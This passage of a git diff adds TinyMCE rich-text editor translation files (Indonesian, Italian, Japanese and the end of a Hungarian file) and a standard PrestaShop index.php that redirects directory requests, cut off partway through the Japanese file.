megjegyz\u00e9se"},pagebreak:{desc:"Oldalt\u00f6r\u00e9s besz\u00far\u00e1sa"},advlist:{types:"T\u00edpusok",def:"Alap\u00e9rtelmezett","lower_alpha":"Kisbet\u0171s abc","lower_greek":"Kisbet\u0171s g\u00f6r\u00f6g","lower_roman":"Kisbet\u0171s r\u00f3mai","upper_alpha":"Nagybet\u0171s ABC","upper_roman":"Nagybet\u0171s r\u00f3mai",circle:"Karika",disc:"P\u00f6tty",square:"N\u00e9gyzet"},colors:{"333300":"S\u00f6t\u00e9t ol\u00edv","993300":"\u00c9g\u0151 narancs","000000":"Fekete","003300":"S\u00f6t\u00e9t z\u00f6ld","003366":"S\u00f6t\u00e9t az\u00far","000080":"Tenger k\u00e9k","333399":"Indig\u00f3","333333":"Nagyon s\u00f6t\u00e9tsz\u00fcrke","800000":"Gesztenyebarna",FF6600:"Narancs","808000":"Ol\u00edv","008000":"Z\u00f6ld","008080":"P\u00e1vak\u00e9k","0000FF":"K\u00e9k","666699":"Sz\u00fcrk\u00e9s k\u00e9k","808080":"Sz\u00fcrke",FF0000:"V\u00f6r\u00f6s",FF9900:"Borosty\u00e1ns\u00e1rga","99CC00":"S\u00e1rg\u00e1s z\u00f6ld","339966":"Tengerz\u00f6ld","33CCCC":"T\u00fcrk\u00edz","3366FF":"Kir\u00e1lyk\u00e9k","800080":"B\u00edbor","999999":"K\u00f6z\u00e9psz\u00fcrke",FF00FF:"B\u00edborv\u00f6r\u00f6s",FFCC00:"Arany",FFFF00:"S\u00e1rga","00FF00":"Vil\u00e1gos borosty\u00e1n","00FFFF":"V\u00edz","00CCFF":"\u00c9gk\u00e9k","993366":"Barna",C0C0C0:"Ez\u00fcst",FF99CC:"R\u00f3zsasz\u00edn",FFCC99:"Barack",FFFF99:"Vil\u00e1gos s\u00e1rga",CCFFCC:"Halv\u00e1ny z\u00f6ld",CCFFFF:"Halv\u00e1ny ci\u00e1n","99CCFF":"Vil\u00e1gos \u00e9gk\u00e9k",CC99FF:"Szilvak\u00e9k",FFFFFF:"Feh\u00e9r"},aria:{"rich_text_area":"Rich Text mez\u0151"},wordcount:{words:"Szavak sz\u00e1ma: "}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/id.js b/js/tiny_mce/langs/id.js new file mode 100755 index 0000000..1577926 --- /dev/null +++ b/js/tiny_mce/langs/id.js @@ -0,0 +1 @@ +tinyMCE.addI18n({id:{common:{"more_colors":"More colors","invalid_data":"Error: nilai invalid, ditandai dengan dengan warna merah","popup_blocked":"Maaf, popup-blocker anda telah menonaktifkan jendela aplikasi yang menyediakan fungsionalitas. Nonaktifkan popup-blocker untuk sepenuhnya memanfaatkan alat ini.","clipboard_no_support":"Tidak didukung Browser, gunakan shortcut dari keyboard.","clipboard_msg":"Copy/Cut/Paste tidak tersedia pada Mozilla dan Firefox.\nButuh info selengkapnya?","not_set":"-- Not set --","class_name":"Class",browse:"Browse",close:"Close",cancel:"Cancel",update:"Update",insert:"Insert",apply:"Apply","edit_confirm":"Gunakan mode WYSIWYG untuk textarea ini?","invalid_data_number":"{#field} must be a number","invalid_data_min":"{#field} must be a number greater than {#min}","invalid_data_size":"{#field} must be a number or percentage",value:"(value)"},contextmenu:{full:"Penuh",right:"Kanan",center:"Tengah",left:"Kiri",align:"Alignment"},insertdatetime:{"day_short":"Min,Sen,Sel,Rab,Kam,Jum,Sab,Min","day_long":"Minggu,Senin,Selasa,Rabu,Kamis,Jumat,Sabtu,Minggu","months_short":"Jan,Feb,Mar,Apr,Mei,Jun,Jul,Ags,Sep,Okt,Nov,Des","months_long":"Januari,Februari,Maren,April,Mei,Juni,Juli,Agustus,September,Oktober,November,Desember","inserttime_desc":"sisipkan waktu","insertdate_desc":"sisipkan tanggal","time_fmt":"%H:%M:%S","date_fmt":"%Y-%m-%d"},print:{"print_desc":"Cetak"},preview:{"preview_desc":"Preview"},directionality:{"rtl_desc":"Arah kanan ke kiri","ltr_desc":"Arah kiri ke kanan"},layer:{content:"Layer baru...","absolute_desc":"Beralih posisi absolut","backward_desc":"Pindah ke belakang","forward_desc":"Pindah ke depan","insertlayer_desc":"sisipkan layer Baru"},save:{"save_desc":"Simpan","cancel_desc":"Batalkan semua perubahan"},nonbreaking:{"nonbreaking_desc":"sisipkan karakter non-breaking space"},iespell:{download:"ieSpell tidak terdeteksi. Instal sekarang?","iespell_desc":"Jalankan spell checking"},advhr:{"advhr_desc":"Horizontal rule","delta_height":"","delta_width":""},emotions:{"emotions_desc":"Emotions","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"Cari/Ganti","search_desc":"Cari","delta_width":"","delta_height":""},advimage:{"image_desc":"sisipkan/Ubah Gambar","delta_width":"","delta_height":""},advlink:{"link_desc":"Sisipkan/Ubah link","delta_height":"","delta_width":""},xhtmlxtras:{"attribs_desc":"Sisip/Ubah Atribut","ins_desc":"Penyisipan","del_desc":"Penghapusan","acronym_desc":"Akronim","abbr_desc":"Singkatan/Kependekan Kata","cite_desc":"Kutipan","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{desc:"Ubah CSS Style","delta_height":"","delta_width":""},paste:{"selectall_desc":"Select All","paste_word_desc":"Paste from Word","paste_text_desc":"Paste as Plain Text","plaintext_mode":"Paste is now in plain text mode. Click again to toggle back to regular paste mode.","plaintext_mode_sticky":"Paste is now in plain text mode. Click again to toggle back to regular paste mode. After you paste something you will be returned to regular paste mode."},"paste_dlg":{"word_title":"Gunakan CTRL+V pada keyboard untuk paste.","text_linebreaks":"Keep linebreaks","text_title":"Gunakan CTRL+V pada keyboard untuk paste."},table:{cell:"Cell",col:"Column",row:"Row",del:"Hapus Tabel","copy_row_desc":"Copy row tabel","cut_row_desc":"Cut row tabel","paste_row_after_desc":"Paste row tabel sesudah","paste_row_before_desc":"Paste row tabel sebelum","props_desc":"Properti tabel","cell_desc":"Properti cell tabel","row_desc":"Properti row tabel","merge_cells_desc":"Merge cell tabel","split_cells_desc":"Pisahkan cell tabel yang di-merge","delete_col_desc":"Hapus column","col_after_desc":"Sisipkan column setelah","col_before_desc":"Sisipkan column sebelum","delete_row_desc":"Hapus row","row_after_desc":"Sisipkan row sesudah","row_before_desc":"Sisipkan row sebelum",desc:"Sisipkan tabel baru","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","cellprops_delta_width":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"unload_msg":"Perubahan yang dilakukan akan hilang jika Anda pindah dari halaman ini.","warning_message":"If you restore the saved content, you will lose all the content that is currently in the editor.\n\nAre you sure you want to restore the saved content?","restore_content":"Restore auto-saved content."},fullscreen:{desc:"Toggle fullscreen mode"},media:{edit:"Edit embedded media",desc:"Insert / edit embedded media","delta_height":"","delta_width":""},fullpage:{desc:"Properti Dokumen","delta_width":"","delta_height":""},template:{desc:"Menyisipkan template standar isi"},visualchars:{desc:"Pengendalian visual karakter on/off"},spellchecker:{desc:"Toggle spellchecker",menu:"Pengaturan Spellchecker ","ignore_word":"Abaikan kata","ignore_words":"Abaikan semua",langs:"Bahasa",wait:"Harap tunggu...",sug:"Saran","no_sug":"Tidak ada saran","no_mpell":"Tidak ada misspellings ditemukan.","learn_word":"Learn word"},pagebreak:{desc:"Sisipkan page break."},advlist:{types:"Types",def:"Default","lower_alpha":"Lower Alpha","lower_greek":"Lower Greek","lower_roman":"Lower Roman","upper_alpha":"Upper Alpha","upper_roman":"Upper Roman",circle:"Circle",disc:"Disc",square:"Square"},colors:{"333300":"Dark olive","993300":"Burnt orange","000000":"Black","003300":"Dark green","003366":"Dark azure","000080":"Navy Blue","333399":"Indigo","333333":"Very dark gray","800000":"Maroon",FF6600:"Orange","808000":"Olive","008000":"Green","008080":"Teal","0000FF":"Blue","666699":"Grayish blue","808080":"Gray",FF0000:"Red",FF9900:"Amber","99CC00":"Yellow green","339966":"Sea green","33CCCC":"Turquoise","3366FF":"Royal blue","800080":"Purple","999999":"Medium gray",FF00FF:"Magenta",FFCC00:"Gold",FFFF00:"Yellow","00FF00":"Lime","00FFFF":"Aqua","00CCFF":"Sky blue","993366":"Brown",C0C0C0:"Silver",FF99CC:"Pink",FFCC99:"Peach",FFFF99:"Light yellow",CCFFCC:"Pale green",CCFFFF:"Pale cyan","99CCFF":"Light sky blue",CC99FF:"Plum",FFFFFF:"White"},aria:{"rich_text_area":"Rich Text Area"},wordcount:{words:"Words"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/index.php b/js/tiny_mce/langs/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce/langs/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce/langs/it.js b/js/tiny_mce/langs/it.js new file mode 100755 index 0000000..af57d85 --- /dev/null +++ b/js/tiny_mce/langs/it.js @@ -0,0 +1 @@ +tinyMCE.addI18n({it:{common:{"more_colors":"Colori aggiuntivi...","invalid_data":"Errore: valori inseriti non validi, sono marcati in rosso.","popup_blocked":"Spiacente, ma il blocco popup ha disabilitato una finestra che fornisce funzionalit\u00e0 dell\'applicazione. Si deve disabilitare il blocco popup per questo sito per poter utlizzare appieno questo strumento.","clipboard_no_support":"Attualmente non supportato dal browser in uso, usare le scorciatoie da tastiera.","clipboard_msg":"Copia/Taglia/Incolla non \u00e8 disponibile in Mozilla e Firefox.\nSi desidera avere maggiori informazioni su questo problema?","not_set":"-- Non impostato --","class_name":"Classe",browse:"Sfoglia",close:"Chiudi",cancel:"Annulla",update:"Aggiorna",insert:"Inserisci",apply:"Applica","edit_confirm":"Usare la modalit\u00e0 WYSIWYG per questa textarea?","invalid_data_number":"{#field} deve essere un numero","invalid_data_min":"{#field} deve essere un numero maggiore di {#min}","invalid_data_size":"{#field} deve essere un numero o una percentuale",value:"(valore)"},contextmenu:{full:"Giustifica",right:"Allinea a destra",center:"Centra",left:"Allinea a sinistra",align:"Allineamento"},insertdatetime:{"day_short":"Dom,Lun,Mar,Mer,Gio,Ven,Sab,Dom","day_long":"Domenica,Luned\u00ec,Marted\u00ec,Mercoled\u00ec,Gioved\u00ec,Venerd\u00ec,Sabato,Domenica","months_short":"Gen,Feb,Mar,Apr,Mag,Giu,Lug,Ago,Set,Ott,Nov,Dic","months_long":"Gennaio,Febbraio,Marzo,Aprile,Maggio,Giugno,Luglio,Agosto,Settembre,Ottobre,Novembre,Dicembre","inserttime_desc":"Inserisci ora","insertdate_desc":"Inserisci data","time_fmt":"%H:%M:%S","date_fmt":"%Y-%m-%d"},print:{"print_desc":"Stampa"},preview:{"preview_desc":"Anteprima"},directionality:{"rtl_desc":"Direzione da destra a sinistra","ltr_desc":"Direzione da sinistra a destra"},layer:{content:"Nuovo layer...","absolute_desc":"Attiva/Disattiva posizionamento assoluto","backward_desc":"Porta in sfondo","forward_desc":"Porta in rilievo","insertlayer_desc":"Inserisci nuovo layer"},save:{"save_desc":"Salva","cancel_desc":"Cancella tutte le modifiche"},nonbreaking:{"nonbreaking_desc":"Inserisci uno spazio"},iespell:{download:"ieSpell non rilevato. Installarlo ora?","iespell_desc":"Esegui controllo ortografico"},advhr:{"advhr_desc":"Riga orizzontale","delta_height":"","delta_width":""},emotions:{"emotions_desc":"Faccine","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"Trova/Sostituisci","search_desc":"Trova","delta_width":"","delta_height":""},advimage:{"image_desc":"Inserisci/modifica immagine","delta_width":"","delta_height":""},advlink:{"link_desc":"Inserisci/modifica collegamento","delta_height":"","delta_width":""},xhtmlxtras:{"attribs_desc":"Inserisci/modifica attributi","ins_desc":"Inserimento","del_desc":"Cancellamento","acronym_desc":"Acronimo","abbr_desc":"Abbreviazione","cite_desc":"Citazione","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{desc:"Modifica stile CSS","delta_height":"","delta_width":""},paste:{"plaintext_mode":"Incolla adesso e in modalit\u00e0 testo. Clicca nuovamente per tornare alla modalit\u00e0 normale.","plaintext_mode_sticky":"Incolla adesso e in modalit\u00e0 testo. Clicca nuovamente per tornare alla modalit\u00e0 normale. Dopo che avrai incollato qualcosa tornerai alla modalit\u00e0 normale","selectall_desc":"Seleziona tutto","paste_word_desc":"Incolla da Word","paste_text_desc":"Incolla come testo semplice"},"paste_dlg":{"word_title":"Premere CTRL+V sulla tastiera per incollare il testo nella finestra.","text_linebreaks":"Mantieni interruzioni di riga","text_title":"Premere CTRL+V sulla tastiera per incollare il testo nella finestra."},table:{cell:"Cella",col:"Colonna",row:"Riga",del:"Elimina tabella","copy_row_desc":"Copia riga","cut_row_desc":"Taglia riga","paste_row_after_desc":"Incolla riga dopo","paste_row_before_desc":"Incolla riga prima","props_desc":"Propriet\u00e0 tabella","cell_desc":"Propriet\u00e0 cella","row_desc":"Propriet\u00e0 riga","merge_cells_desc":"Unisci celle","split_cells_desc":"Separa celle","delete_col_desc":"Elimina colonna","col_after_desc":"Inserisci colonna dopo","col_before_desc":"Inserisci colonna prima","delete_row_desc":"Elimina riga","row_after_desc":"Inserisci riga dopo","row_before_desc":"Inserisci riga prima",desc:"Inserisci una nuova tabella","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","cellprops_delta_width":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"warning_message":"Se ripristini i dati salvati automaticamente perderai i dati attuali dell\'editor\n\nSei sicuro di voler ripristinare i dati?.","restore_content":"Ripristina i dati salvati automaticamente","unload_msg":"I cambiamenti effettuati saranno persi se si abbandona la pagina corrente."},fullscreen:{desc:"Attiva/disattiva modalit\u00e0 a tutto schermo"},media:{edit:"Modifica file multimediale",desc:"Inserisci/modifica file multimediale","delta_height":"","delta_width":""},fullpage:{desc:"Propriet\u00e0 Documento","delta_width":"","delta_height":""},template:{desc:"Inserisci contenuto da modello predefinito"},visualchars:{desc:"Attiva/disattiva caratteri di controllo visuale."},spellchecker:{desc:"Attiva/disattiva controllo ortografico",menu:"Impostazioni controllo ortografico","ignore_word":"Ignora parola","ignore_words":"Ignora tutto",langs:"Lingue",wait:"Attendere prego...",sug:"Suggerimenti","no_sug":"Nessun suggerimento","no_mpell":"Nessun errore rilevato.","learn_word":"Learn word"},pagebreak:{desc:"Inserisci intterruzione di pagina."},advlist:{types:"Tipi",def:"Default","lower_alpha":"Minuscolo alfanumerico","lower_greek":"Minuscolo lettera greca","lower_roman":"Minuscolo lettere romane","upper_alpha":"Maiuscolo alfanumerico","upper_roman":"Maiuscolo lettere romane",circle:"Cerchio",disc:"Punto",square:"Quadrato"},colors:{"333300":"Verde oliva scuro","993300":"Arancio bruciato","000000":"Nero","003300":"Verde scuro","003366":"Azzurro scuro","000080":"Blu navy","333399":"Indaco","333333":"Grigio molto scuro","800000":"Marrone",FF6600:"Arancione","808000":"Verde oliva","008000":"Verde","008080":"Verde azzurro","0000FF":"Blu","666699":"Grigio blu","808080":"Grigio",FF0000:"Rosso",FF9900:"Ambra","99CC00":"Giallo verde","339966":"Verde acqua","33CCCC":"Turchese","3366FF":"Blu royal","800080":"Porpora","999999":"Grigio topo",FF00FF:"Magenta",FFCC00:"Oro",FFFF00:"Giallo","00FF00":"Lime","00FFFF":"Acqua","00CCFF":"Blu cielo","993366":"Vinaccia",C0C0C0:"Argento",FF99CC:"Rosa",FFCC99:"Pesca",FFFF99:"Giallo chiaro",CCFFCC:"Verde chiaro",CCFFFF:"Ciano chiaro","99CCFF":"Blu cielo chiaro",CC99FF:"Prugna",FFFFFF:"Bianco"},aria:{"rich_text_area":"Area testo formattato"},wordcount:{words:"Parole:"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/ja.js b/js/tiny_mce/langs/ja.js new file mode 100755 index 0000000..222fbd3 --- /dev/null +++ b/js/tiny_mce/langs/ja.js @@ -0,0 +1 @@ +tinyMCE.addI18n({ja:{common:{"more_colors":"\u3055\u3089\u306b\u8272\u3092\u4f7f\u7528...","invalid_data":"\u30a8\u30e9\u30fc: \u5165\u529b\u306b\u8aa4\u308a\u304c\u3042\u308a\u307e\u3059\u3002\uff08\u8d64\u5b57\u306e\u9805\u76ee\uff09","popup_blocked":"\u7533\u3057\u8a33\u3042\u308a\u307e\u305b\u3093\u304c\u3001\u30dd\u30c3\u30d7\u30a2\u30c3\u30d7\u8868\u793a\u3092\u8a31\u53ef\u3057\u3066\u3044\u306a\u3044\u305f\u3081\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u6a5f\u80fd\u3092\u63d0\u4f9b\u3067\u304d\u307e\u305b\u3093\u3067\u3057\u305f\u3002\u3053\u306e\u30c4\u30fc\u30eb\u306e\u6a5f\u80fd\u3092\u5b8c\u5168\u306b\u6d3b\u7528\u3059\u308b\u306b\u306f\u3001\u3053\u306e\u30b5\u30a4\u30c8\u3067\u30dd\u30c3\u30d7\u30a2\u30c3\u30d7\u3092\u8a31\u53ef\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002","clipboard_no_support":"\u30af\u30ea\u30c3\u30d7\u30dc\u30fc\u30c9\u64cd\u4f5c\u306f\u5229\u7528\u3055\u308c\u3066\u3044\u308b\u30d6\u30e9\u30a6\u30b6\u306b\u5bfe\u5fdc\u3057\u3066\u3044\u307e\u305b\u3093\u3002\u30ad\u30fc\u30dc\u30fc\u30c9\u306e\u30b7\u30e7\u30fc\u30c8\u30ab\u30c3\u30c8\u3092\u4ee3\u308f\u308a\u306b\u4f7f\u7528\u3057\u3066\u304f\u3060\u3055\u3044\u3002\u3044\u3002","clipboard_msg":"\u30b3\u30d4\u30fc/\u5207\u308a\u53d6\u308a/\u8cbc\u308a\u4ed8\u3051\u306fMozilla\u3068Firefox\u3067\u306f\u4f7f\u7528\u3067\u304d\u307e\u305b\u3093\u3002\n\u3053\u306e\u554f\u984c\u306e\u8a73\u7d30\u3092\u5f97\u305f\u3044\u3067\u3059\u304b?","not_set":"-- \u672a\u8a2d\u5b9a --","class_name":"\u30af\u30e9\u30b9",browse:"\u95b2\u89a7",close:"\u9589\u3058\u308b",cancel:"\u53d6\u308a\u6d88\u3057",update:"\u66f4\u65b0",insert:"\u633f\u5165",apply:"\u9069\u7528","edit_confirm":"\u3053\u306e\u30c6\u30ad\u30b9\u30c8\u30a8\u30ea\u30a2\u3092WYSIWYG\u30e2\u30fc\u30c9\u306b\u5207\u308a\u66ff\u3048\u307e\u3059\u304b\uff1f","invalid_data_number":"{#field} \u306f\u6570\u5024\u3067\u306a\u3051\u308c\u3070\u306a\u308a\u307e\u305b\u3093\u3002","invalid_data_min":"{#field} \u306f{#min}\u3088\u308a\u3082\u5927\u304d\u306a\u6570\u5024\u3067\u306a\u3051\u308c\u3070\u306a\u308a\u307e\u305b\u3093\u3002","invalid_data_size":"{#field}\u306f\u6570\u5024\u307e\u305f\u306f\u30d1\u30fc\u30bb\u30f3\u30c6\u30fc\u30b8\u3067\u306a\u3051\u308c\u3070\u306a\u308a\u307e\u305b\u3093\u3002",value:"(\u5024)"},contextmenu:{full:"\u5747\u7b49\u5272\u4ed8",right:"\u53f3\u63c3\u3048",center:"\u4e2d\u592e\u63c3\u3048",left:"\u5de6\u63c3\u3048",align:"\u914d\u7f6e"},insertdatetime:{"day_short":"(\u65e5),(\u6708),(\u706b),(\u6c34),(\u6728),(\u91d1),(\u571f),(\u65e5)","day_long":"\u65e5\u66dc\u65e5,\u6708\u66dc\u65e5,\u706b\u66dc\u65e5,\u6c34\u66dc\u65e5,\u6728\u66dc\u65e5,\u91d1\u66dc\u65e5,\u571f\u66dc\u65e5,\u65e5\u66dc\u65e5","months_short":"1\u6708,2\u6708,3\u6708,4\u6708,5\u6708,6\u6708,7\u6708,8\u6708,9\u6708,10\u6708,11\u6708,12\u6708","months_long":"1,2,3,4,5,6,7,8,9,10,11,12","inserttime_desc":"\u6642\u523b\u3092\u633f\u5165","insertdate_desc":"\u65e5\u4ed8\u3092\u633f\u5165","time_fmt":"%H:%M:%S","date_fmt":"%Y-%m-%d"},print:{"print_desc":"\u5370\u5237"},preview:{"preview_desc":"\u30d7\u30ec\u30d3\u30e5\u30fc"},directionality:{"rtl_desc":"\u53f3\u304b\u3089\u5de6","ltr_desc":"\u5de6\u304b\u3089\u53f3"},layer:{content:"\u65b0\u3057\u3044\u30ec\u30a4\u30e4\u30fc...","absolute_desc":"\u7d76\u5bfe\u4f4d\u7f6e\u306e\u6307\u5b9a\u3092\u5207\u66ff","backward_desc":"\u80cc\u9762\u3078\u79fb\u52d5","forward_desc":"\u524d\u9762\u3078\u79fb\u52d5","insertlayer_desc":"\u65b0\u3057\u3044\u30ec\u30a4\u30e4\u30fc\u3092\u633f\u5165"},save:{"save_desc":"\u4fdd\u5b58","cancel_desc":"\u3059\u3079\u3066\u306e\u5909\u66f4\u3092\u53d6\u308a\u6d88\u3057"},nonbreaking:{"nonbreaking_desc":"\u6539\u884c\u3057\u306a\u3044\u30b9\u30da\u30fc\u30b9\u6587\u5b57(NBSP)\u3092\u633f\u5165"},iespell:{download:"ieSpell\u304c\u306a\u3044\u3088\u3046\u3067\u3059\u3002\u4eca\u3059\u3050\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3057\u307e\u3059\u304b\uff1f","iespell_desc":"\u30b9\u30da\u30eb\u30c1\u30a7\u30c3\u30af"},advhr:{"advhr_desc":"\u6c34\u5e73\u7dda\u3092\u633f\u5165","delta_height":"","delta_width":""},emotions:{"emotions_desc":"\u8868\u60c5\u30a2\u30a4\u30b3\u30f3","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"\u691c\u7d22/\u7f6e\u63db","search_desc":"\u691c\u7d22","delta_width":"","delta_height":""},advimage:{"image_desc":"\u753b\u50cf\u306e\u633f\u5165/\u7de8\u96c6","delta_width":"","delta_height":""},advlink:{"link_desc":"\u30ea\u30f3\u30af\u306e\u633f\u5165/\u7de8\u96c6","delta_height":"","delta_width":""},xhtmlxtras:{"attribs_desc":"\u5c5e\u6027\u306e\u633f\u5165\u3084\u7de8\u96c6","ins_desc":"\u633f\u5165","del_desc":"\u524a\u9664","acronym_desc":"\u982d\u5b57\u8a9e","abbr_desc":"\u7565\u8a9e","cite_desc":"\u5f15\u7528","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{desc:"CSS\u306e\u7de8\u96c6","delta_height":"","delta_width":""},paste:{"plaintext_mode":"\u30c6\u30ad\u30b9\u30c8\u5f62\u5f0f\u306e\u30e2\u30fc\u30c9\u3067\u8cbc\u308a\u4ed8\u3051\u307e\u3059\u3002\u3082\u3046\u4e00\u5ea6\u30af\u30ea\u30c3\u30af\u3059\u308b\u3068\u3001\u901a\u5e38\u306e\u8cbc\u308a\u4ed8\u3051\u306e\u30e2\u30fc\u30c9\u306b\u623b\u3057\u307e\u3059\u3002","plaintext_mode_sticky":"\u30c6\u30ad\u30b9\u30c8\u5f62\u5f0f\u306e\u30e2\u30fc\u30c9\u3067\u8cbc\u308a\u4ed8\u3051\u307e\u3059\u3002\u3082\u3046\u4e00\u5ea6\u30af\u30ea\u30c3\u30af\u3059\u308b\u3068\u3001\u901a\u5e38\u306e\u8cbc\u308a\u4ed8\u3051\u306e\u30e2\u30fc\u30c9\u306b\u623b\u3057\u307e\u3059\u3002\u4f55\u304b\u8cbc\u308a\u4ed8\u3051\u308b\u3068\u3001\u305d\u306e\u5f8c\u306f\u901a\u5e38\u306e\u8cbc\u308a\u4ed8\u3051\u30e2\u30fc\u30c9\u306b\u623b\u308a\u307e\u3059\u3002","selectall_desc":"\u3059\u3079\u3066\u9078\u629e","paste_word_desc":"Word\u304b\u3089\u8cbc\u308a\u4ed8\u3051","paste_text_desc":"\u30c6\u30ad\u30b9\u30c8\u5f62\u5f0f\u3067\u8cbc\u308a\u4ed8\u3051"},"paste_dlg":{"word_title":"Ctrl V(\u30ad\u30fc\u30dc\u30fc\u30c9)\u3092\u4f7f\u7528\u3057\u3066\u3001\u30c6\u30ad\u30b9\u30c8\u3092\u30a6\u30a3\u30f3\u30c9\u30a6\u306b\u8cbc\u308a\u4ed8\u3051\u3066\u304f\u3060\u3055\u3044\u3002","text_linebreaks":"\u6539\u884c\u3092\u4fdd\u6301","text_title":"Ctrl V(\u30ad\u30fc\u30dc\u30fc\u30c9)\u3092\u4f7f\u7528\u3057\u3066\u3001\u30c6\u30ad\u30b9\u30c8\u3092\u30a6\u30a3\u30f3\u30c9\u30a6\u306b\u8cbc\u308a\u4ed8\u3051\u3066\u304f\u3060\u3055\u3044\u3002"},table:{cell:"\u30bb\u30eb",col:"\u5217",row:"\u884c",del:"\u8868\u3092\u524a\u9664","copy_row_desc":"\u884c\u3092\u30b3\u30d4\u30fc","cut_row_desc":"\u884c\u3092\u5207\u308a\u53d6\u308a","paste_row_after_desc":"\u4e0b\u306b\u884c\u3092\u8cbc\u308a\u4ed8\u3051","paste_row_before_desc":"\u4e0a\u306b\u884c\u3092\u8cbc\u308a\u4ed8\u3051","props_desc":"\u8868\u306e\u5c5e\u6027","cell_desc":"\u30bb\u30eb\u306e\u5c5e\u6027","row_desc":"\u884c\u306e\u5c5e\u6027","merge_cells_desc":"\u30bb\u30eb\u3092\u7d50\u5408","split_cells_desc":"\u30bb\u30eb\u306e\u7d50\u5408\u3092\u89e3\u9664","delete_col_desc":"\u5217\u3092\u524a\u9664","col_after_desc":"\u53f3\u306b\u5217\u3092\u633f\u5165","col_before_desc":"\u5de6\u306b\u5217\u3092\u633f\u5165","delete_row_desc":"\u884c\u3092\u524a\u9664","row_after_desc":"\u4e0b\u306b\u884c\u3092\u633f\u5165","row_before_desc":"\u4e0a\u306b\u884c\u3092\u633f\u5165",desc:"\u8868\u306e\u633f\u5165","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","cellprops_delta_width":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"warning_message":"\u4fdd\u5b58\u3057\u305f\u30c7\u30fc\u30bf\u3092\u5fa9\u5143\u3059\u308b\u3068\u3001\u73fe\u5728\u306e\u7de8\u96c6\u5185\u5bb9\u3092\u3059\u3079\u3066\u5931\u3044\u307e\u3059\u3002\n\n\u672c\u5f53\u306b\u4fdd\u5b58\u3057\u305f\u30c7\u30fc\u30bf\u3092\u8aad\u307f\u8fbc\u307f\u307e\u3059\u304b?","restore_content":"\u81ea\u52d5\u4fdd\u5b58\u30c7\u30fc\u30bf\u3092\u5fa9\u5143","unload_msg":"\u4ed6\u306e\u30da\u30fc\u30b8\u306b\u79fb\u52d5\u3059\u308b\u3068\u3001\u5909\u66f4\u3092\u3059\u3079\u3066\u5931\u3044\u307e\u3059\u3002"},fullscreen:{desc:"\u5168\u753b\u9762"},media:{"delta_height":"",edit:"\u57cb\u3081\u8fbc\u307f\u30e1\u30c7\u30a3\u30a2\u306e\u7de8\u96c6",desc:"\u57cb\u3081\u8fbc\u307f\u30e1\u30c7\u30a3\u30a2\u306e\u633f\u5165/\u7de8\u96c6","delta_width":""},fullpage:{desc:"\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u306e\u5c5e\u6027","delta_width":"","delta_height":""},template:{desc:"\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u306e\u633f\u5165"},visualchars:{desc:"\u5236\u5fa1\u6587\u5b57\u306e\u8868\u793a\u3092\u5207\u308a\u66ff\u3048"},spellchecker:{desc:"\u30b9\u30da\u30eb\u30c1\u30a7\u30c3\u30af\u306e\u4f7f\u7528\u3092\u5207\u308a\u66ff\u3048",menu:"\u30b9\u30da\u30eb\u30c1\u30a7\u30c3\u30af\u306e\u8a2d\u5b9a","ignore_word":"\u3053\u306e\u5358\u8a9e\u3092\u7121\u8996","ignore_words":"\u3059\u3079\u3066\u7121\u8996",langs:"\u8a00\u8a9e",wait:"\u3057\u3070\u3089\u304f\u304a\u5f85\u3061\u304f\u3060\u3055\u3044...",sug:"\u5019\u88dc","no_sug":"\u5019\u88dc\u306a\u3057","no_mpell":"\u30b9\u30da\u30eb\u306e\u8aa4\u308a\u306f\u898b\u3064\u304b\u308a\u307e\u305b\u3093\u3067\u3057\u305f\u3002","learn_word":"\u3053\u306e\u5358\u8a9e\u3092\u5b66\u7fd2"},pagebreak:{desc:"\u5370\u5237\u7528\u306e\u6539\u30da\u30fc\u30b8\u3092\u633f\u5165"},advlist:{types:"\u7a2e\u985e",def:"\u30c7\u30d5\u30a9\u30eb\u30c8","lower_alpha":"a b c ...","lower_greek":"\u03b1 \u03b2 \u03b3 \u2026","lower_roman":"i ii iii ...","upper_alpha":"A B C ...","upper_roman":"I II III 